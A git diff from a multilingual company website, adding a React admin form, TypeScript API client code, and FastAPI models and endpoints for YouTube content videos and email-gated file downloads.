className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<textarea
name="description_ja"
value={formData.description_ja}
onChange={handleChange}
rows={4}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
()
</label>
<textarea
name="features_ja"
value={formData.features_ja}
onChange={handleChange}
rows={3}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
/>
</div>
</div>
)}
</div>
{/* Chinese */}
<div className="bg-white rounded-xl shadow-sm overflow-hidden">
<button
type="button"
onClick={() => setShowChinese(!showChinese)}
className="w-full px-6 py-4 flex items-center justify-between hover:bg-gray-50"
>
<span className="font-semibold text-gray-900 flex items-center">
<span className="w-6 h-6 bg-gray-300 text-white text-xs rounded flex items-center justify-center mr-2">
ZH
</span>
()
</span>
{showChinese ? (
<ChevronUp className="w-5 h-5 text-gray-400" />
) : (
<ChevronDown className="w-5 h-5 text-gray-400" />
)}
</button>
{showChinese && (
<div className="px-6 pb-6 space-y-4">
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<input
type="text"
name="title_zh"
value={formData.title_zh}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<input
type="text"
name="subtitle_zh"
value={formData.subtitle_zh}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<textarea
name="description_zh"
value={formData.description_zh}
onChange={handleChange}
rows={4}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
()
</label>
<textarea
name="features_zh"
value={formData.features_zh}
onChange={handleChange}
rows={3}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none resize-none"
/>
</div>
</div>
)}
</div>
{/* Common Fields */}
<div className="bg-white rounded-xl p-6 shadow-sm">
<h3 className="font-semibold text-gray-900 mb-4"> </h3>
<div className="grid grid-cols-1 md:grid-cols-2 gap-4">
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<select
name="icon"
value={formData.icon}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
>
{iconOptions.map((icon) => (
<option key={icon.value} value={icon.value}>
{icon.label}
</option>
))}
</select>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<select
name="color"
value={formData.color}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
>
{colorOptions.map((color) => (
<option key={color.value} value={color.value}>
{color.label}
</option>
))}
</select>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
</label>
<input
type="number"
name="display_order"
value={formData.display_order}
onChange={handleChange}
className="w-full px-4 py-2 border border-gray-200 rounded-lg focus:ring-2 focus:ring-[#3B82F6] focus:border-transparent outline-none"
/>
<p className="text-xs text-gray-500 mt-1">
</p>
</div>
<div className="flex items-center pt-6">
<label className="flex items-center">
<input
type="checkbox"
name="is_active"
checked={formData.is_active}
onChange={handleChange}
className="w-4 h-4 text-[#3B82F6] rounded border-gray-300 focus:ring-[#3B82F6]"
/>
<span className="ml-2 text-sm text-gray-700"> </span>
</label>
</div>
</div>
</div>
{/* Buttons */}
<div className="flex items-center justify-end space-x-4">
<button
type="button"
onClick={() => router.push("/admin/solutions")}
className="px-6 py-2 text-gray-700 font-medium rounded-lg hover:bg-gray-100 transition-colors"
>
</button>
<button
type="submit"
disabled={isSubmitting}
className="flex items-center px-6 py-2 bg-[#3B82F6] text-white font-medium rounded-lg hover:bg-[#2563EB] transition-colors disabled:opacity-50"
>
{isSubmitting && <Loader2 className="w-4 h-4 animate-spin mr-2" />}
</button>
</div>
</form>
);
}

49
temp_api_addition.ts Normal file
View File

@@ -0,0 +1,49 @@
export const visitorsApi = {
// Track visitor (public)
track: (pagePath?: string, referrer?: string) =>
fetchApi<{ message: string; new_visitor: boolean }>(`/visitors/track?${new URLSearchParams({
...(pagePath && { page_path: pagePath }),
...(referrer && { referrer: referrer })
}).toString()}`, {
method: "POST",
}),
// Get stats (public)
getStats: () =>
fetchApi<VisitorStats>("/visitors/stats/public"),
// Admin
adminGetStats: (token: string) =>
fetchApi<VisitorStats>("/visitors/stats", { token }),
adminGetCountryStats: (token: string) =>
fetchApi<CountryStats[]>("/visitors/stats/countries", { token }),
// Extended statistics
adminGetOverview: (token: string, days: number = 30) =>
fetchApi<OverviewStats>(`/visitors/admin/overview?days=${days}`, { token }),
adminGetVisitsChart: (token: string, days: number = 30) =>
fetchApi<ChartData>(`/visitors/admin/chart/visits?days=${days}`, { token }),
adminGetUniqueChart: (token: string, days: number = 30) =>
fetchApi<ChartData>(`/visitors/admin/chart/unique?days=${days}`, { token }),
adminGetDeviceBreakdown: (token: string, days: number = 30) =>
fetchApi<BreakdownData>(`/visitors/admin/breakdown/device?days=${days}`, { token }),
adminGetBrowserBreakdown: (token: string, days: number = 30) =>
fetchApi<BreakdownData>(`/visitors/admin/breakdown/browser?days=${days}`, { token }),
adminGetOsBreakdown: (token: string, days: number = 30) =>
fetchApi<BreakdownData>(`/visitors/admin/breakdown/os?days=${days}`, { token }),
adminGetTopPages: (token: string, days: number = 30) =>
fetchApi<TopPagesData>(`/visitors/admin/top-pages?days=${days}`, { token }),
adminGetTopReferrers: (token: string, days: number = 30) =>
fetchApi<TopReferrersData>(`/visitors/admin/top-referrers?days=${days}`, { token }),
adminGetRealtime: (token: string) =>
fetchApi<RealtimeStats>("/visitors/admin/realtime", { token }),
};

6
temp_api_fix.txt Normal file
View File

@@ -0,0 +1,6 @@
adminDeleteInquiry: (id: number, token: string) =>
fetchApi<{ message: string }>(`/contact/admin/inquiries/${id}`, {
method: "DELETE",
token,
}),

57
temp_content_video.py Normal file
View File

@@ -0,0 +1,57 @@
from sqlalchemy import Column, Integer, String, Boolean, DateTime, Text
from sqlalchemy.sql import func
from ..core.database import Base
class ContentVideo(Base):
"""YouTube videos for Projects, Solutions, and Products"""
__tablename__ = "content_videos"
id = Column(Integer, primary_key=True, index=True)
# YouTube video ID (e.g., "dQw4w9WgXcQ" from https://youtube.com/watch?v=dQw4w9WgXcQ)
youtube_id = Column(String(20), nullable=False)
# Title in multiple languages
title_ko = Column(String(200), nullable=False)
title_en = Column(String(200))
title_ja = Column(String(200))
title_zh = Column(String(200))
# Optional description
description_ko = Column(Text)
description_en = Column(Text)
description_ja = Column(Text)
description_zh = Column(Text)
# Entity reference (polymorphic association)
entity_type = Column(String(20), nullable=False, index=True) # "project", "solution", "product"
entity_id = Column(Integer, nullable=False, index=True)
# Display settings
display_order = Column(Integer, default=0)
is_active = Column(Boolean, default=True)
# Timestamps
created_at = Column(DateTime(timezone=True), server_default=func.now())
updated_at = Column(DateTime(timezone=True), onupdate=func.now())
@property
def youtube_url(self) -> str:
"""Full YouTube URL"""
return f"https://www.youtube.com/watch?v={self.youtube_id}"
@property
def youtube_embed_url(self) -> str:
"""YouTube embed URL for iframe"""
return f"https://www.youtube.com/embed/{self.youtube_id}"
@property
def thumbnail_url(self) -> str:
"""YouTube thumbnail URL (max resolution)"""
return f"https://img.youtube.com/vi/{self.youtube_id}/maxresdefault.jpg"
@property
def thumbnail_url_hq(self) -> str:
"""YouTube thumbnail URL (high quality fallback)"""
return f"https://img.youtube.com/vi/{self.youtube_id}/hqdefault.jpg"

View File

@@ -0,0 +1,137 @@
from pydantic import BaseModel, field_validator
from typing import Optional
from datetime import datetime
import re
class ContentVideoBase(BaseModel):
youtube_id: str
title_ko: str
title_en: Optional[str] = None
title_ja: Optional[str] = None
title_zh: Optional[str] = None
description_ko: Optional[str] = None
description_en: Optional[str] = None
description_ja: Optional[str] = None
description_zh: Optional[str] = None
entity_type: str # "project", "solution", "product"
entity_id: int
display_order: int = 0
is_active: bool = True
@field_validator('youtube_id', mode='before')
@classmethod
def extract_youtube_id(cls, v):
"""Extract YouTube ID from various URL formats or plain ID"""
if not v:
return v
# Already a plain ID (11 characters)
if re.match(r'^[a-zA-Z0-9_-]{11}$', v):
return v
# Extract from various YouTube URL formats
patterns = [
r'(?:youtube\.com/watch\?v=|youtu\.be/|youtube\.com/embed/)([a-zA-Z0-9_-]{11})',
r'youtube\.com/watch\?.*v=([a-zA-Z0-9_-]{11})',
]
for pattern in patterns:
match = re.search(pattern, v)
if match:
return match.group(1)
# Return as-is if no pattern matches
return v
@field_validator('entity_type')
@classmethod
def validate_entity_type(cls, v):
allowed = ['project', 'solution', 'product']
if v not in allowed:
raise ValueError(f'entity_type must be one of: {allowed}')
return v
class ContentVideoCreate(ContentVideoBase):
pass
class ContentVideoUpdate(BaseModel):
youtube_id: Optional[str] = None
title_ko: Optional[str] = None
title_en: Optional[str] = None
title_ja: Optional[str] = None
title_zh: Optional[str] = None
description_ko: Optional[str] = None
description_en: Optional[str] = None
description_ja: Optional[str] = None
description_zh: Optional[str] = None
display_order: Optional[int] = None
is_active: Optional[bool] = None
@field_validator('youtube_id', mode='before')
@classmethod
def extract_youtube_id(cls, v):
if not v:
return v
if re.match(r'^[a-zA-Z0-9_-]{11}$', v):
return v
patterns = [
r'(?:youtube\.com/watch\?v=|youtu\.be/|youtube\.com/embed/)([a-zA-Z0-9_-]{11})',
r'youtube\.com/watch\?.*v=([a-zA-Z0-9_-]{11})',
]
for pattern in patterns:
match = re.search(pattern, v)
if match:
return match.group(1)
return v
class ContentVideoResponse(BaseModel):
id: int
youtube_id: str
title_ko: str
title_en: Optional[str] = None
title_ja: Optional[str] = None
title_zh: Optional[str] = None
description_ko: Optional[str] = None
description_en: Optional[str] = None
description_ja: Optional[str] = None
description_zh: Optional[str] = None
entity_type: str
entity_id: int
display_order: int
is_active: bool
created_at: Optional[datetime] = None
updated_at: Optional[datetime] = None
# Computed fields
youtube_url: str = ""
youtube_embed_url: str = ""
thumbnail_url: str = ""
class Config:
from_attributes = True
def __init__(self, **data):
super().__init__(**data)
youtube_id = data.get('youtube_id', '')
self.youtube_url = f"https://www.youtube.com/watch?v={youtube_id}"
self.youtube_embed_url = f"https://www.youtube.com/embed/{youtube_id}"
self.thumbnail_url = f"https://img.youtube.com/vi/{youtube_id}/maxresdefault.jpg"
class ContentVideoPublic(BaseModel):
"""Public response with language-specific fields"""
id: int
youtube_id: str
title: str
description: Optional[str] = None
youtube_url: str
youtube_embed_url: str
thumbnail_url: str
display_order: int
class Config:
from_attributes = True

268
temp_content_videos_api.py Normal file
View File

@@ -0,0 +1,268 @@
from fastapi import APIRouter, Depends, HTTPException, Query
from sqlalchemy.orm import Session
from typing import List, Optional
from app.core.database import get_db
from app.models.content_video import ContentVideo
from app.schemas.content_video import (
ContentVideoCreate,
ContentVideoUpdate,
ContentVideoResponse,
ContentVideoPublic,
)
from app.api.auth import get_current_admin
router = APIRouter(prefix="/content-videos", tags=["content-videos"])
def get_localized_field(obj, field: str, locale: str) -> str:
"""Get localized field value with fallback to Korean"""
localized = getattr(obj, f"{field}_{locale}", None)
if localized:
return localized
return getattr(obj, f"{field}_ko", "") or ""
# ============ Public Endpoints ============
@router.get("/entity/{entity_type}/{entity_id}", response_model=List[ContentVideoPublic])
def get_videos_for_entity(
entity_type: str,
entity_id: int,
locale: str = Query(default="ko"),
db: Session = Depends(get_db)
):
"""Get all active videos for a specific entity (public)"""
if entity_type not in ["project", "solution", "product"]:
raise HTTPException(status_code=400, detail="Invalid entity type")
videos = db.query(ContentVideo).filter(
ContentVideo.entity_type == entity_type,
ContentVideo.entity_id == entity_id,
ContentVideo.is_active == True
).order_by(ContentVideo.display_order).all()
return [
ContentVideoPublic(
id=v.id,
youtube_id=v.youtube_id,
title=get_localized_field(v, "title", locale),
description=get_localized_field(v, "description", locale) or None,
youtube_url=f"https://www.youtube.com/watch?v={v.youtube_id}",
youtube_embed_url=f"https://www.youtube.com/embed/{v.youtube_id}",
thumbnail_url=f"https://img.youtube.com/vi/{v.youtube_id}/maxresdefault.jpg",
display_order=v.display_order,
)
for v in videos
]
# ============ Admin Endpoints ============
@router.get("/admin/list", response_model=List[ContentVideoResponse])
def admin_list_videos(
entity_type: Optional[str] = None,
entity_id: Optional[int] = None,
db: Session = Depends(get_db),
_: str = Depends(get_current_admin)
):
"""List all videos (admin)"""
query = db.query(ContentVideo)
if entity_type:
query = query.filter(ContentVideo.entity_type == entity_type)
if entity_id:
query = query.filter(ContentVideo.entity_id == entity_id)
videos = query.order_by(
ContentVideo.entity_type,
ContentVideo.entity_id,
ContentVideo.display_order
).all()
return [
ContentVideoResponse(
id=v.id,
youtube_id=v.youtube_id,
title_ko=v.title_ko,
title_en=v.title_en,
title_ja=v.title_ja,
title_zh=v.title_zh,
description_ko=v.description_ko,
description_en=v.description_en,
description_ja=v.description_ja,
description_zh=v.description_zh,
entity_type=v.entity_type,
entity_id=v.entity_id,
display_order=v.display_order,
is_active=v.is_active,
created_at=v.created_at,
updated_at=v.updated_at,
youtube_url=f"https://www.youtube.com/watch?v={v.youtube_id}",
youtube_embed_url=f"https://www.youtube.com/embed/{v.youtube_id}",
thumbnail_url=f"https://img.youtube.com/vi/{v.youtube_id}/maxresdefault.jpg",
)
for v in videos
]
@router.get("/admin/{video_id}", response_model=ContentVideoResponse)
def admin_get_video(
video_id: int,
db: Session = Depends(get_db),
_: str = Depends(get_current_admin)
):
"""Get a specific video (admin)"""
video = db.query(ContentVideo).filter(ContentVideo.id == video_id).first()
if not video:
raise HTTPException(status_code=404, detail="Video not found")
return ContentVideoResponse(
id=video.id,
youtube_id=video.youtube_id,
title_ko=video.title_ko,
title_en=video.title_en,
title_ja=video.title_ja,
title_zh=video.title_zh,
description_ko=video.description_ko,
description_en=video.description_en,
description_ja=video.description_ja,
description_zh=video.description_zh,
entity_type=video.entity_type,
entity_id=video.entity_id,
display_order=video.display_order,
is_active=video.is_active,
created_at=video.created_at,
updated_at=video.updated_at,
youtube_url=f"https://www.youtube.com/watch?v={video.youtube_id}",
youtube_embed_url=f"https://www.youtube.com/embed/{video.youtube_id}",
thumbnail_url=f"https://img.youtube.com/vi/{video.youtube_id}/maxresdefault.jpg",
)
@router.post("/admin", response_model=ContentVideoResponse)
def admin_create_video(
data: ContentVideoCreate,
db: Session = Depends(get_db),
_: str = Depends(get_current_admin)
):
"""Create a new video (admin)"""
video = ContentVideo(
youtube_id=data.youtube_id,
title_ko=data.title_ko,
title_en=data.title_en,
title_ja=data.title_ja,
title_zh=data.title_zh,
description_ko=data.description_ko,
description_en=data.description_en,
description_ja=data.description_ja,
description_zh=data.description_zh,
entity_type=data.entity_type,
entity_id=data.entity_id,
display_order=data.display_order,
is_active=data.is_active,
)
db.add(video)
db.commit()
db.refresh(video)
return ContentVideoResponse(
id=video.id,
youtube_id=video.youtube_id,
title_ko=video.title_ko,
title_en=video.title_en,
title_ja=video.title_ja,
title_zh=video.title_zh,
description_ko=video.description_ko,
description_en=video.description_en,
description_ja=video.description_ja,
description_zh=video.description_zh,
entity_type=video.entity_type,
entity_id=video.entity_id,
display_order=video.display_order,
is_active=video.is_active,
created_at=video.created_at,
updated_at=video.updated_at,
youtube_url=f"https://www.youtube.com/watch?v={video.youtube_id}",
youtube_embed_url=f"https://www.youtube.com/embed/{video.youtube_id}",
thumbnail_url=f"https://img.youtube.com/vi/{video.youtube_id}/maxresdefault.jpg",
)
@router.put("/admin/{video_id}", response_model=ContentVideoResponse)
def admin_update_video(
video_id: int,
data: ContentVideoUpdate,
db: Session = Depends(get_db),
_: str = Depends(get_current_admin)
):
"""Update a video (admin)"""
video = db.query(ContentVideo).filter(ContentVideo.id == video_id).first()
if not video:
raise HTTPException(status_code=404, detail="Video not found")
update_data = data.model_dump(exclude_unset=True)
for field, value in update_data.items():
setattr(video, field, value)
db.commit()
db.refresh(video)
return ContentVideoResponse(
id=video.id,
youtube_id=video.youtube_id,
title_ko=video.title_ko,
title_en=video.title_en,
title_ja=video.title_ja,
title_zh=video.title_zh,
description_ko=video.description_ko,
description_en=video.description_en,
description_ja=video.description_ja,
description_zh=video.description_zh,
entity_type=video.entity_type,
entity_id=video.entity_id,
display_order=video.display_order,
is_active=video.is_active,
created_at=video.created_at,
updated_at=video.updated_at,
youtube_url=f"https://www.youtube.com/watch?v={video.youtube_id}",
youtube_embed_url=f"https://www.youtube.com/embed/{video.youtube_id}",
thumbnail_url=f"https://img.youtube.com/vi/{video.youtube_id}/maxresdefault.jpg",
)
@router.delete("/admin/{video_id}")
def admin_delete_video(
video_id: int,
db: Session = Depends(get_db),
_: str = Depends(get_current_admin)
):
"""Delete a video (admin)"""
video = db.query(ContentVideo).filter(ContentVideo.id == video_id).first()
if not video:
raise HTTPException(status_code=404, detail="Video not found")
db.delete(video)
db.commit()
return {"message": "Video deleted successfully"}
@router.put("/admin/reorder")
def admin_reorder_videos(
entity_type: str,
entity_id: int,
video_ids: List[int],
db: Session = Depends(get_db),
_: str = Depends(get_current_admin)
):
"""Reorder videos for an entity (admin)"""
for index, video_id in enumerate(video_ids):
video = db.query(ContentVideo).filter(
ContentVideo.id == video_id,
ContentVideo.entity_type == entity_type,
ContentVideo.entity_id == entity_id
).first()
if video:
video.display_order = index
db.commit()
return {"message": "Videos reordered successfully"}

322
temp_downloads_api.py Normal file
View File

@@ -0,0 +1,322 @@
from fastapi import APIRouter, Depends, HTTPException, UploadFile, File, Query, Request
from fastapi.responses import StreamingResponse
from sqlalchemy.orm import Session
from sqlalchemy import desc
from typing import List, Optional
import uuid
import os
import csv
import io
from datetime import datetime
from ..database import get_db
from ..models.download import Download, DownloadRequest
from ..schemas.download import (
DownloadResponse, DownloadRequestCreate, DownloadRequestResponse,
DownloadAdminCreate, DownloadAdminUpdate, DownloadAdminResponse,
DownloadRequestAdminResponse
)
from ..core.security import get_current_admin
from ..core.config import settings
router = APIRouter(prefix="/downloads", tags=["downloads"])
UPLOAD_DIR = os.path.join(settings.UPLOAD_DIR, "downloads")
os.makedirs(UPLOAD_DIR, exist_ok=True)
ALLOWED_EXTENSIONS = {".exe", ".zip", ".msi", ".dmg", ".pkg", ".tar", ".gz", ".rar", ".7z", ".pdf"}
ALLOWED_IMAGE_EXTENSIONS = {".jpg", ".jpeg", ".png", ".gif", ".webp"}
def get_localized_field(obj, field: str, lang: str) -> Optional[str]:
localized = getattr(obj, f"{field}_{lang}", None)
if localized:
return localized
return getattr(obj, f"{field}_ko", None)
# Public Endpoints
@router.get("/", response_model=List[DownloadResponse])
def get_downloads(lang: str = "ko", db: Session = Depends(get_db)):
downloads = db.query(Download).filter(
Download.is_active == True
).order_by(Download.display_order).all()
result = []
for d in downloads:
result.append(DownloadResponse(
id=d.id,
title=get_localized_field(d, "title", lang) or "",
description=get_localized_field(d, "description", lang),
category=get_localized_field(d, "category", lang),
file_name=d.file_name,
file_size=d.file_size,
version=d.version,
thumbnail=d.thumbnail,
download_count=d.download_count or 0
))
return result
@router.get("/{download_id}", response_model=DownloadResponse)
def get_download(download_id: int, lang: str = "ko", db: Session = Depends(get_db)):
d = db.query(Download).filter(
Download.id == download_id,
Download.is_active == True
).first()
if not d:
raise HTTPException(status_code=404, detail="Download not found")
return DownloadResponse(
id=d.id,
title=get_localized_field(d, "title", lang) or "",
description=get_localized_field(d, "description", lang),
category=get_localized_field(d, "category", lang),
file_name=d.file_name,
file_size=d.file_size,
version=d.version,
thumbnail=d.thumbnail,
download_count=d.download_count or 0
)
@router.post("/{download_id}/request", response_model=DownloadRequestResponse)
async def request_download(
download_id: int,
request_data: DownloadRequestCreate,
request: Request,
db: Session = Depends(get_db)
):
download = db.query(Download).filter(
Download.id == download_id,
Download.is_active == True
).first()
if not download:
raise HTTPException(status_code=404, detail="Download not found")
if not request_data.newsletter_agreed:
raise HTTPException(status_code=400, detail="Newsletter consent is required")
client_ip = request.headers.get("X-Forwarded-For", request.client.host)
if client_ip and "," in client_ip:
client_ip = client_ip.split(",")[0].strip()
country = None
country_code = None
try:
import httpx
async with httpx.AsyncClient(timeout=2.0) as client:
resp = await client.get(f"http://ip-api.com/json/{client_ip}?fields=country,countryCode")
if resp.status_code == 200:
data = resp.json()
country = data.get("country")
country_code = data.get("countryCode")
except:
pass
download_request = DownloadRequest(
download_id=download_id,
email=request_data.email,
newsletter_agreed=request_data.newsletter_agreed,
ip_address=client_ip,
country=country,
country_code=country_code
)
db.add(download_request)
download.download_count = (download.download_count or 0) + 1
db.commit()
return DownloadRequestResponse(
download_url=download.file_url,
file_name=download.file_name or "download"
)
# Admin Endpoints
@router.get("/admin/list", response_model=List[DownloadAdminResponse])
def admin_get_downloads(
db: Session = Depends(get_db),
admin = Depends(get_current_admin)
):
downloads = db.query(Download).order_by(Download.display_order).all()
return downloads
@router.get("/admin/{download_id}", response_model=DownloadAdminResponse)
def admin_get_download(
download_id: int,
db: Session = Depends(get_db),
admin = Depends(get_current_admin)
):
download = db.query(Download).filter(Download.id == download_id).first()
if not download:
raise HTTPException(status_code=404, detail="Download not found")
return download
@router.post("/admin", response_model=DownloadAdminResponse)
def admin_create_download(
download_data: DownloadAdminCreate,
db: Session = Depends(get_db),
admin = Depends(get_current_admin)
):
download = Download(**download_data.model_dump())
db.add(download)
db.commit()
db.refresh(download)
return download
@router.put("/admin/{download_id}", response_model=DownloadAdminResponse)
def admin_update_download(
download_id: int,
download_data: DownloadAdminUpdate,
db: Session = Depends(get_db),
admin = Depends(get_current_admin)
):
download = db.query(Download).filter(Download.id == download_id).first()
if not download:
raise HTTPException(status_code=404, detail="Download not found")
update_data = download_data.model_dump(exclude_unset=True)
for key, value in update_data.items():
setattr(download, key, value)
db.commit()
db.refresh(download)
return download
@router.delete("/admin/{download_id}")
def admin_delete_download(
download_id: int,
db: Session = Depends(get_db),
admin = Depends(get_current_admin)
):
download = db.query(Download).filter(Download.id == download_id).first()
if not download:
raise HTTPException(status_code=404, detail="Download not found")
db.delete(download)
db.commit()
return {"message": "Download deleted successfully"}
@router.post("/admin/upload")
async def admin_upload_file(
file: UploadFile = File(...),
file_type: str = Query("file", description="file or thumbnail"),
admin = Depends(get_current_admin)
):
ext = os.path.splitext(file.filename)[1].lower()
if file_type == "thumbnail":
if ext not in ALLOWED_IMAGE_EXTENSIONS:
raise HTTPException(status_code=400, detail=f"Allowed image formats: {ALLOWED_IMAGE_EXTENSIONS}")
else:
if ext not in ALLOWED_EXTENSIONS and ext not in ALLOWED_IMAGE_EXTENSIONS:
raise HTTPException(status_code=400, detail=f"Allowed formats: {ALLOWED_EXTENSIONS}")
unique_name = f"{uuid.uuid4()}{ext}"
file_path = os.path.join(UPLOAD_DIR, unique_name)
content = await file.read()
with open(file_path, "wb") as f:
f.write(content)
file_size = len(content)
file_url = f"uploads/downloads/{unique_name}"
return {
"file_url": file_url,
"file_name": file.filename,
"file_size": file_size
}
# Admin: Download Requests (Email List)
@router.get("/admin/requests", response_model=List[DownloadRequestAdminResponse])
def admin_get_requests(
newsletter_only: bool = False,
limit: int = 100,
offset: int = 0,
db: Session = Depends(get_db),
admin = Depends(get_current_admin)
):
query = db.query(DownloadRequest).join(Download)
if newsletter_only:
query = query.filter(DownloadRequest.newsletter_agreed == True)
requests = query.order_by(desc(DownloadRequest.requested_at)).offset(offset).limit(limit).all()
result = []
for r in requests:
result.append(DownloadRequestAdminResponse(
id=r.id,
download_id=r.download_id,
download_title=r.download.title_ko if r.download else None,
email=r.email,
newsletter_agreed=r.newsletter_agreed,
ip_address=r.ip_address,
country=r.country,
country_code=r.country_code,
requested_at=r.requested_at
))
return result
@router.get("/admin/requests/export")
def admin_export_requests(
newsletter_only: bool = True,
db: Session = Depends(get_db),
admin = Depends(get_current_admin)
):
query = db.query(DownloadRequest).join(Download)
if newsletter_only:
query = query.filter(DownloadRequest.newsletter_agreed == True)
requests = query.order_by(desc(DownloadRequest.requested_at)).all()
output = io.StringIO()
writer = csv.writer(output)
writer.writerow(["Email", "Download", "Newsletter", "Country", "Date"])
for r in requests:
writer.writerow([
r.email,
r.download.title_ko if r.download else "",
"Yes" if r.newsletter_agreed else "No",
r.country or "",
r.requested_at.strftime("%Y-%m-%d %H:%M") if r.requested_at else ""
])
output.seek(0)
return StreamingResponse(
io.BytesIO(output.getvalue().encode("utf-8-sig")),
media_type="text/csv",
headers={"Content-Disposition": f"attachment; filename=download_requests_{datetime.now().strftime('%Y%m%d')}.csv"}
)
@router.get("/admin/requests/stats")
def admin_get_request_stats(
db: Session = Depends(get_db),
admin = Depends(get_current_admin)
):
total = db.query(DownloadRequest).count()
newsletter = db.query(DownloadRequest).filter(DownloadRequest.newsletter_agreed == True).count()
unique_emails = db.query(DownloadRequest.email).distinct().count()
return {
"total_requests": total,
"newsletter_subscribers": newsletter,
"unique_emails": unique_emails
}

997
temp_full_api.ts Normal file
View File

@@ -0,0 +1,997 @@
const API_BASE_URL = process.env.NEXT_PUBLIC_API_URL || "http://localhost:8001/api";
interface FetchOptions extends RequestInit {
token?: string;
}
async function fetchApi<T>(endpoint: string, options: FetchOptions = {}): Promise<T> {
const { token, ...fetchOptions } = options;
const headers: HeadersInit = {
"Content-Type": "application/json",
...options.headers,
};
if (token) {
(headers as Record<string, string>)["Authorization"] = `Bearer ${token}`;
}
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
...fetchOptions,
headers,
});
if (!response.ok) {
const error = await response.json().catch(() => ({ detail: "Unknown error" }));
const errorMessage = typeof error.detail === 'string'
? error.detail
: JSON.stringify(error.detail) || `HTTP error! status: ${response.status}`;
throw new Error(errorMessage);
}
return response.json();
}
// Auth API
export const authApi = {
login: (username: string, password: string) =>
fetchApi<{ access_token: string; token_type: string }>("/auth/login", {
method: "POST",
body: JSON.stringify({ username, password }),
}),
getMe: (token: string) =>
fetchApi<{ id: number; username: string }>("/auth/me", { token }),
};
// Projects API (Public)
export interface Project {
id: number;
title: string;
subtitle?: string;
description?: string;
client?: string;
period?: string;
year?: number;
category?: string;
main_image?: string;
is_featured: boolean;
images: { id: number; image_url: string; caption?: string }[];
}
export interface ProjectAdmin {
id: number;
title_ko: string;
title_en?: string;
title_ja?: string;
title_zh?: string;
subtitle_ko?: string;
subtitle_en?: string;
subtitle_ja?: string;
subtitle_zh?: string;
description_ko?: string;
description_en?: string;
description_ja?: string;
description_zh?: string;
client?: string;
period?: string;
year?: number;
category?: string;
main_image?: string;
is_featured: boolean;
is_active: boolean;
display_order: number;
images: { id: number; image_url: string; caption_ko?: string; caption_en?: string; caption_ja?: string; caption_zh?: string }[];
}
export const projectsApi = {
// Public
getAll: (lang: string = "ko", category?: string) => {
const params = new URLSearchParams({ lang });
if (category) params.append("category", category);
return fetchApi<Project[]>(`/projects/?${params}`);
},
getOne: (id: number, lang: string = "ko") =>
fetchApi<Project>(`/projects/${id}?lang=${lang}`),
// Admin
adminGetAll: (token: string) =>
fetchApi<ProjectAdmin[]>("/projects/admin/list", { token }),
adminGetOne: (id: number, token: string) =>
fetchApi<ProjectAdmin>(`/projects/admin/${id}`, { token }),
adminCreate: (data: Partial<ProjectAdmin>, token: string) =>
fetchApi<ProjectAdmin>("/projects/admin", {
method: "POST",
body: JSON.stringify(data),
token,
}),
adminUpdate: (id: number, data: Partial<ProjectAdmin>, token: string) =>
fetchApi<ProjectAdmin>(`/projects/admin/${id}`, {
method: "PUT",
body: JSON.stringify(data),
token,
}),
adminDelete: (id: number, token: string) =>
fetchApi<{ message: string }>(`/projects/admin/${id}`, {
method: "DELETE",
token,
}),
adminUploadImage: async (projectId: number, file: File, isMain: boolean, token: string) => {
const formData = new FormData();
formData.append("file", file);
const response = await fetch(
`${API_BASE_URL}/projects/admin/${projectId}/upload-image?is_main=${isMain}`,
{
method: "POST",
headers: {
Authorization: `Bearer ${token}`,
},
body: formData,
}
);
if (!response.ok) {
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
throw new Error(error.detail);
}
return response.json();
},
adminDeleteImage: (imageId: number, token: string) =>
fetchApi<{ message: string }>(`/projects/admin/images/${imageId}`, {
method: "DELETE",
token,
}),
};
// Get upload URL
export function getUploadUrl(path: string): string {
if (!path) return "";
if (path.startsWith("http")) return path;
const baseUrl = process.env.NEXT_PUBLIC_API_URL?.replace(/\/api$/, "") || "http://localhost:8001";
// Handle API endpoints (e.g., /api/downloads/1/file)
if (path.startsWith("/api/")) {
return `${baseUrl}${path}`;
}
// Remove leading slash from path to avoid double slashes
const cleanPath = path.startsWith("/") ? path.slice(1) : path;
return `${baseUrl}/${cleanPath}`;
}
// Banner API
export interface Banner {
id: number;
title?: string;
subtitle?: string;
image_url: string;
link_url?: string;
}
export interface BannerAdmin {
id: number;
title_ko?: string;
title_en?: string;
title_ja?: string;
title_zh?: string;
subtitle_ko?: string;
subtitle_en?: string;
subtitle_ja?: string;
subtitle_zh?: string;
image_url: string;
link_url?: string;
is_active: boolean;
display_order: number;
}
export interface BannerSettings {
id: number;
transition_type: "fade" | "slide";
slide_interval: number;
}
// Solution API
export interface Solution {
id: number;
title: string;
subtitle?: string;
description?: string;
features: string[];
icon?: string;
color?: string;
main_image?: string;
